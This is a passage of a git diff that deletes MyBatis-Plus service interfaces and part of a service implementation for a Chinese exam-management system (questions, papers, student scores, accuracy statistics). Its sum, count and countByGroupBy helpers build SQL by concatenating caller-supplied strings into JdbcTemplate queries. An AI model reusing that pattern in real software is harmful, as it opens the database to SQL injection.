*/ - public int deleteExamPaperStrategyById(Long id); - - List getByIds(List ids, SFunction... columns); - - ExamPaperStrategyPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamQuestionCorrectionService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamQuestionCorrectionService.java deleted file mode 100644 index 0e6d716..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamQuestionCorrectionService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.ExamQuestionCorrection; -import com.luqj.exam.domain.ExamQuestionCorrectionPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 题目纠错Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IExamQuestionCorrectionService extends IService -{ - /** - * 查询题目纠错 - * - * @param id 题目纠错ID - * @return 题目纠错 - */ - public ExamQuestionCorrection selectExamQuestionCorrectionById(Long id); - - /** - * 查询题目纠错列表 - * - * @param examQuestionCorrection 题目纠错 - * @return 题目纠错集合 - */ - public List selectExamQuestionCorrectionList(ExamQuestionCorrection examQuestionCorrection); - - /** - * 新增题目纠错 - * - * @param examQuestionCorrection 题目纠错 - * @return 结果 - */ - public int insertExamQuestionCorrection(ExamQuestionCorrection examQuestionCorrection); - - /** - * 修改题目纠错 - * - * @param examQuestionCorrection 题目纠错 - * @return 结果 - */ - public int updateExamQuestionCorrection(ExamQuestionCorrection examQuestionCorrection); - - /** - * 批量删除题目纠错 - * - * @param ids 需要删除的题目纠错ID - * @return 结果 - */ - public int deleteExamQuestionCorrectionByIds(Long[] ids); - - /** - * 删除题目纠错信息 - * - * @param id 题目纠错ID - * @return 结果 - */ - public int deleteExamQuestionCorrectionById(Long id); - - List getByIds(List ids, SFunction... columns); - - ExamQuestionCorrectionPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamQuestionFavoriteService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamQuestionFavoriteService.java deleted file mode 100644 index 6f05575..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamQuestionFavoriteService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.ExamQuestionFavorite; -import com.luqj.exam.domain.ExamQuestionFavoritePlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 题目收藏Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IExamQuestionFavoriteService extends IService -{ - /** - * 查询题目收藏 - * - * @param id 题目收藏ID - * @return 题目收藏 - */ - public ExamQuestionFavorite selectExamQuestionFavoriteById(Long id); - - /** - * 查询题目收藏列表 - * - * @param examQuestionFavorite 题目收藏 - * @return 题目收藏集合 - */ - public List selectExamQuestionFavoriteList(ExamQuestionFavorite examQuestionFavorite); - - /** - * 新增题目收藏 - * - * @param examQuestionFavorite 题目收藏 - * @return 结果 - */ - public int insertExamQuestionFavorite(ExamQuestionFavorite examQuestionFavorite); - - /** - * 修改题目收藏 - * - * @param examQuestionFavorite 题目收藏 - * @return 结果 - */ - public int updateExamQuestionFavorite(ExamQuestionFavorite examQuestionFavorite); - - /** - * 批量删除题目收藏 - * - * @param ids 需要删除的题目收藏ID - * @return 结果 - */ - public int deleteExamQuestionFavoriteByIds(Long[] ids); - - /** - * 删除题目收藏信息 - * - * @param id 题目收藏ID - * @return 结果 - */ - public int deleteExamQuestionFavoriteById(Long id); - - List getByIds(List ids, SFunction... columns); - - ExamQuestionFavoritePlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamQuestionService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamQuestionService.java deleted file mode 100644 index 903d166..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamQuestionService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.ExamQuestion; -import com.luqj.exam.domain.ExamQuestionPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 题库Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IExamQuestionService extends IService -{ - /** - * 查询题库 - * - * @param id 题库ID - * @return 题库 - */ - public ExamQuestion selectExamQuestionById(Long id); - - /** - * 查询题库列表 - * - * @param examQuestion 题库 - * @return 题库集合 - */ - public List selectExamQuestionList(ExamQuestion examQuestion); - - /** - * 新增题库 - * - * @param examQuestion 题库 - * @return 结果 - */ - public int insertExamQuestion(ExamQuestion examQuestion); - - /** - * 修改题库 - * - * @param examQuestion 题库 - * @return 结果 - */ - public int updateExamQuestion(ExamQuestion examQuestion); - - /** - * 批量删除题库 - * - * @param ids 需要删除的题库ID - * @return 结果 - */ - public int deleteExamQuestionByIds(Long[] ids); - - /** - * 删除题库信息 - * - * @param id 题库ID - * @return 结果 - */ - public int deleteExamQuestionById(Long id); - - List getByIds(List ids, SFunction... columns); - - ExamQuestionPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamSchoolService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamSchoolService.java deleted file mode 100644 index 9ccb19c..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamSchoolService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.ExamSchool; -import com.luqj.exam.domain.ExamSchoolPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 出题学校Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IExamSchoolService extends IService -{ - /** - * 查询出题学校 - * - * @param id 出题学校ID - * @return 出题学校 - */ - public ExamSchool selectExamSchoolById(Long id); - - /** - * 查询出题学校列表 - * - * @param examSchool 出题学校 - * @return 出题学校集合 - */ - public List selectExamSchoolList(ExamSchool examSchool); - - /** - * 新增出题学校 - * - * @param examSchool 出题学校 - * @return 结果 - */ - public int insertExamSchool(ExamSchool examSchool); - - /** - * 修改出题学校 - * - * @param examSchool 出题学校 - * @return 结果 - */ - public int updateExamSchool(ExamSchool examSchool); - - /** - * 批量删除出题学校 - * - * @param ids 需要删除的出题学校ID - * @return 结果 - */ - public int deleteExamSchoolByIds(Long[] ids); - - /** - * 删除出题学校信息 - * - * @param id 出题学校ID - * @return 结果 - */ - public int deleteExamSchoolById(Long id); - - List getByIds(List ids, SFunction... columns); - - ExamSchoolPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamStudentMistakesService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamStudentMistakesService.java deleted file mode 100644 index 17a3259..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamStudentMistakesService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.ExamStudentMistakes; -import com.luqj.exam.domain.ExamStudentMistakesPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 错题集Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IExamStudentMistakesService extends IService -{ - /** - * 查询错题集 - * - * @param id 错题集ID - * @return 错题集 - */ - public ExamStudentMistakes selectExamStudentMistakesById(Long id); - - /** - * 查询错题集列表 - * - * @param examStudentMistakes 错题集 - * @return 错题集集合 - */ - public List selectExamStudentMistakesList(ExamStudentMistakes examStudentMistakes); - - /** - * 新增错题集 - * - * @param examStudentMistakes 错题集 - * @return 结果 - */ - public int insertExamStudentMistakes(ExamStudentMistakes examStudentMistakes); - - /** - * 修改错题集 - * - * @param examStudentMistakes 错题集 - * @return 结果 - */ - public int updateExamStudentMistakes(ExamStudentMistakes examStudentMistakes); - - /** - * 批量删除错题集 - * - * @param ids 需要删除的错题集ID - * @return 结果 - */ - public int deleteExamStudentMistakesByIds(Long[] ids); - - /** - * 删除错题集信息 - * - * @param id 错题集ID - * @return 结果 - */ - public int deleteExamStudentMistakesById(Long id); - - List getByIds(List ids, SFunction... columns); - - ExamStudentMistakesPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamStudentPaperAnswerService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamStudentPaperAnswerService.java deleted file mode 100644 index 582b675..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamStudentPaperAnswerService.java +++ /dev/null @@ -1,90 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.ExamStudentPaperAnswer; -import com.luqj.exam.domain.ExamStudentPaperAnswerPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 学生答题明细Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IExamStudentPaperAnswerService extends IService -{ - /** - * 查询学生答题明细 - * - * @param id 学生答题明细ID - * @return 学生答题明细 - */ - public ExamStudentPaperAnswer selectExamStudentPaperAnswerById(Long id); - - /** - * 查询学生答题明细列表 - * - * @param examStudentPaperAnswer 学生答题明细 - * @return 学生答题明细集合 - */ - public List selectExamStudentPaperAnswerList(ExamStudentPaperAnswer examStudentPaperAnswer); - - /** - * 新增学生答题明细 - * - * @param examStudentPaperAnswer 学生答题明细 - * @return 结果 - */ - public int insertExamStudentPaperAnswer(ExamStudentPaperAnswer examStudentPaperAnswer); - - /** - * 修改学生答题明细 - * - * @param examStudentPaperAnswer 学生答题明细 - * @return 结果 - */ - public int updateExamStudentPaperAnswer(ExamStudentPaperAnswer examStudentPaperAnswer); - - /** - * 批量删除学生答题明细 - * - * @param ids 需要删除的学生答题明细ID - * @return 结果 - */ - public int deleteExamStudentPaperAnswerByIds(Long[] ids); - - /** - * 删除学生答题明细信息 - * - * @param id 学生答题明细ID - * @return 结果 - */ - public int deleteExamStudentPaperAnswerById(Long id); - - List getByIds(List ids, SFunction... columns); - - ExamStudentPaperAnswerPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); - - boolean additionalInfo(List list); - - int deleteExamStudentPaperAnswerByParentIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamStudentPaperService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamStudentPaperService.java deleted file mode 100644 index 7d60c1b..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamStudentPaperService.java +++ /dev/null @@ -1,89 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.ExamStudentPaper; -import com.luqj.exam.domain.ExamStudentPaperPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 学生考试试卷实例Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IExamStudentPaperService extends IService -{ - /** - * 查询学生考试试卷实例 - * - * @param id 学生考试试卷实例ID - * @return 学生考试试卷实例 - */ - public ExamStudentPaper selectExamStudentPaperById(Long id); - - /** - * 查询学生考试试卷实例列表 - * - * @param examStudentPaper 学生考试试卷实例 - * @return 学生考试试卷实例集合 - */ - public List selectExamStudentPaperList(ExamStudentPaper examStudentPaper); - - /** - * 新增学生考试试卷实例 - * - * @param examStudentPaper 学生考试试卷实例 - * @return 结果 - */ - public int insertExamStudentPaper(ExamStudentPaper examStudentPaper); - - /** - * 修改学生考试试卷实例 - * - * @param examStudentPaper 学生考试试卷实例 - * @return 结果 - */ - public int updateExamStudentPaper(ExamStudentPaper examStudentPaper); - - /** - * 批量删除学生考试试卷实例 - * - * @param ids 需要删除的学生考试试卷实例ID - * @return 结果 - */ - public int deleteExamStudentPaperByIds(Long[] ids); - - /** - * 删除学生考试试卷实例信息 - * - * @param id 学生考试试卷实例ID - * @return 结果 - */ - public int deleteExamStudentPaperById(Long id); - - List getByIds(List ids, SFunction... columns); - - ExamStudentPaperPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); - - - boolean additionalInfo(List list); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamStudentScoreService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamStudentScoreService.java deleted file mode 100644 index 125d8e7..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamStudentScoreService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.ExamStudentScore; -import com.luqj.exam.domain.ExamStudentScorePlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 学生成绩Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IExamStudentScoreService extends IService -{ - /** - * 查询学生成绩 - * - * @param id 学生成绩ID - * @return 学生成绩 - */ - public ExamStudentScore selectExamStudentScoreById(Long id); - - /** - * 查询学生成绩列表 - * - * @param examStudentScore 学生成绩 - * @return 学生成绩集合 - */ - public List selectExamStudentScoreList(ExamStudentScore examStudentScore); - - /** - * 新增学生成绩 - * - * @param examStudentScore 学生成绩 - * @return 结果 - */ - public int insertExamStudentScore(ExamStudentScore examStudentScore); - - /** - * 修改学生成绩 - * - * @param examStudentScore 学生成绩 - * @return 结果 - */ - public int updateExamStudentScore(ExamStudentScore examStudentScore); - - /** - * 批量删除学生成绩 - * - * @param ids 需要删除的学生成绩ID - * @return 结果 - */ - public int deleteExamStudentScoreByIds(Long[] ids); - - /** - * 删除学生成绩信息 - * - * @param id 学生成绩ID - * @return 结果 - */ - public int deleteExamStudentScoreById(Long id); - - List getByIds(List ids, SFunction... columns); - - ExamStudentScorePlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IStatsExamAccuracyService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IStatsExamAccuracyService.java deleted file mode 100644 index 5c8d6cd..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IStatsExamAccuracyService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.StatsExamAccuracy; -import com.luqj.exam.domain.StatsExamAccuracyPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 学生答题正确率统计Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IStatsExamAccuracyService extends IService -{ - /** - * 查询学生答题正确率统计 - * - * @param id 学生答题正确率统计ID - * @return 学生答题正确率统计 - */ - public StatsExamAccuracy selectStatsExamAccuracyById(Long id); - - /** - * 查询学生答题正确率统计列表 - * - * @param statsExamAccuracy 学生答题正确率统计 - * @return 学生答题正确率统计集合 - */ - public List selectStatsExamAccuracyList(StatsExamAccuracy statsExamAccuracy); - - /** - * 新增学生答题正确率统计 - * - * @param statsExamAccuracy 学生答题正确率统计 - * @return 结果 - */ - public int insertStatsExamAccuracy(StatsExamAccuracy statsExamAccuracy); - - /** - * 修改学生答题正确率统计 - * - * @param statsExamAccuracy 学生答题正确率统计 - * @return 结果 - */ - public int updateStatsExamAccuracy(StatsExamAccuracy statsExamAccuracy); - - /** - * 批量删除学生答题正确率统计 - * - * @param ids 需要删除的学生答题正确率统计ID - * @return 结果 - */ - public int deleteStatsExamAccuracyByIds(Long[] ids); - - /** - * 删除学生答题正确率统计信息 - * - * @param id 学生答题正确率统计ID - * @return 结果 - */ - public int deleteStatsExamAccuracyById(Long id); - - List getByIds(List ids, SFunction... columns); - - StatsExamAccuracyPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IStatsExamQuestionAccuracyService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IStatsExamQuestionAccuracyService.java deleted file mode 100644 index 81fb2a3..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IStatsExamQuestionAccuracyService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.StatsExamQuestionAccuracy; -import com.luqj.exam.domain.StatsExamQuestionAccuracyPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 按题目统计Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IStatsExamQuestionAccuracyService extends IService -{ - /** - * 查询按题目统计 - * - * @param id 按题目统计ID - * @return 按题目统计 - */ - public StatsExamQuestionAccuracy selectStatsExamQuestionAccuracyById(Long id); - - /** - * 查询按题目统计列表 - * - * @param statsExamQuestionAccuracy 按题目统计 - * @return 按题目统计集合 - */ - public List selectStatsExamQuestionAccuracyList(StatsExamQuestionAccuracy statsExamQuestionAccuracy); - - /** - * 新增按题目统计 - * - * @param statsExamQuestionAccuracy 按题目统计 - * @return 结果 - */ - public int insertStatsExamQuestionAccuracy(StatsExamQuestionAccuracy statsExamQuestionAccuracy); - - /** - * 修改按题目统计 - * - * @param statsExamQuestionAccuracy 按题目统计 - * @return 结果 - */ - public int updateStatsExamQuestionAccuracy(StatsExamQuestionAccuracy statsExamQuestionAccuracy); - - /** - * 批量删除按题目统计 - * - * @param ids 需要删除的按题目统计ID - * @return 结果 - */ - public int deleteStatsExamQuestionAccuracyByIds(Long[] ids); - - /** - * 删除按题目统计信息 - * - * @param id 按题目统计ID - * @return 结果 - */ - public int deleteStatsExamQuestionAccuracyById(Long id); - - List getByIds(List ids, SFunction... columns); - - StatsExamQuestionAccuracyPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IStatsExamWeekAccuracyService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IStatsExamWeekAccuracyService.java deleted file mode 100644 index 0740fea..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IStatsExamWeekAccuracyService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.StatsExamWeekAccuracy; -import com.luqj.exam.domain.StatsExamWeekAccuracyPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 学生答题正确率统计Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IStatsExamWeekAccuracyService extends IService -{ - /** - * 查询学生答题正确率统计 - * - * @param id 学生答题正确率统计ID - * @return 学生答题正确率统计 - */ - public StatsExamWeekAccuracy selectStatsExamWeekAccuracyById(Long id); - - /** - * 查询学生答题正确率统计列表 - * - * @param statsExamWeekAccuracy 学生答题正确率统计 - * @return 学生答题正确率统计集合 - */ - public List selectStatsExamWeekAccuracyList(StatsExamWeekAccuracy statsExamWeekAccuracy); - - /** - * 新增学生答题正确率统计 - * - * @param statsExamWeekAccuracy 学生答题正确率统计 - * @return 结果 - */ - public int insertStatsExamWeekAccuracy(StatsExamWeekAccuracy statsExamWeekAccuracy); - - /** - * 修改学生答题正确率统计 - * - * @param statsExamWeekAccuracy 学生答题正确率统计 - * @return 结果 - */ - public int updateStatsExamWeekAccuracy(StatsExamWeekAccuracy statsExamWeekAccuracy); - - /** - * 批量删除学生答题正确率统计 - * - * @param ids 需要删除的学生答题正确率统计ID - * @return 结果 - */ - public int deleteStatsExamWeekAccuracyByIds(Long[] ids); - - /** - * 删除学生答题正确率统计信息 - * - * @param id 学生答题正确率统计ID - * @return 结果 - */ - public int deleteStatsExamWeekAccuracyById(Long id); - - List getByIds(List ids, SFunction... columns); - - StatsExamWeekAccuracyPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperItemServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperItemServiceImpl.java deleted file mode 100644 index 98da1a3..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperItemServiceImpl.java +++ /dev/null @@ -1,317 +0,0 @@ -package com.luqj.exam.service.impl; - -import com.alibaba.fastjson.JSONArray; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.luqj.exam.domain.*; -import com.luqj.exam.mapper.ExamPaperItemMapper; -import com.luqj.exam.service.IExamPaperItemService; -import com.luqj.exam.service.IExamPaperModuleService; -import com.luqj.exam.service.IExamPaperService; -import com.luqj.exam.service.IExamQuestionService; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.common.utils.StringUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import org.springframework.stereotype.Service; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -/** - * 试卷明细Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class ExamPaperItemServiceImpl extends ServiceImpl implements IExamPaperItemService { - @Autowired - private ExamPaperItemMapper examPaperItemMapper; - @Autowired - private IExamPaperService examPaperService; - @Autowired - private IExamQuestionService examQuestionService; - @Autowired - private IExamPaperModuleService examPaperModuleService; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamPaperItemPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamPaperItemPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamPaperItemPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamPaperItemPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamPaperItemPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamPaperItemPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_paper_item "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_paper_item "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_paper_item "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - - @Override - public List chooiseList(ChooiseSearch search) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .eq(ExamPaperItemPlus::getExamPaperModuleId, search.getModuleId()); - List list = this.examPaperItemMapper.selectList(lambdaQueryWrapper); - List qids = new ArrayList<>(); - Map map = new HashMap<>(); - for (ExamPaperItemPlus item : list) { - map.put(item.getQuestionId(), item); - qids.add(item.getQuestionId()); - } - ExamQuestion params = new ExamQuestion(); - if (StringUtils.isNotEmpty(search.getKeyWord())) { - params.setQuestion(search.getKeyWord()); - } - params.setType(search.getType()); - Map questionPlusMap = new HashMap<>(); - if (qids.size() > 0) { - questionPlusMap = examQuestionService.getMapByIds(qids); - } - PageHelper.startPage(0, 100); - List examQuestions = examQuestionService.selectExamQuestionList(params); - List chooiseQustions = new ArrayList<>(); - List ids = new ArrayList<>(); - for (ExamQuestion item : examQuestions) { - ChooiseQustion chooiseQustion = new ChooiseQustion(); - chooiseQustion.setId(item.getId()); - if (map.containsKey(item.getId())) { - chooiseQustion.setHasChooise(true); - } else { - chooiseQustion.setHasChooise(false); - } - chooiseQustion.setDisabled(false); - chooiseQustion.setTitle(item.getQuestion()); - chooiseQustions.add(chooiseQustion); - ids.add(item.getId()); - } - for (ExamPaperItemPlus item : list) { - ChooiseQustion chooiseQustion = new ChooiseQustion(); - if (!ids.contains(item.getQuestionId())) { - chooiseQustion.setId(item.getQuestionId()); - } else { - continue; - } - chooiseQustion.setHasChooise(true); - chooiseQustion.setDisabled(false); - chooiseQustion.setTitle(questionPlusMap.get(item.getQuestionId()).getQuestion()); - chooiseQustions.add(chooiseQustion); - } - return chooiseQustions; - } - - @Override - public List selectByModuleIdAndQuestionIds(Long moduleId, List questionIds) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .eq(ExamPaperItemPlus::getExamPaperModuleId, moduleId).and(i -> i.in(ExamPaperItemPlus::getQuestionId, questionIds)); - List list = this.examPaperItemMapper.selectList(lambdaQueryWrapper); - return list; - } - - @Override - public boolean deleteByPaperId(Long id) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - 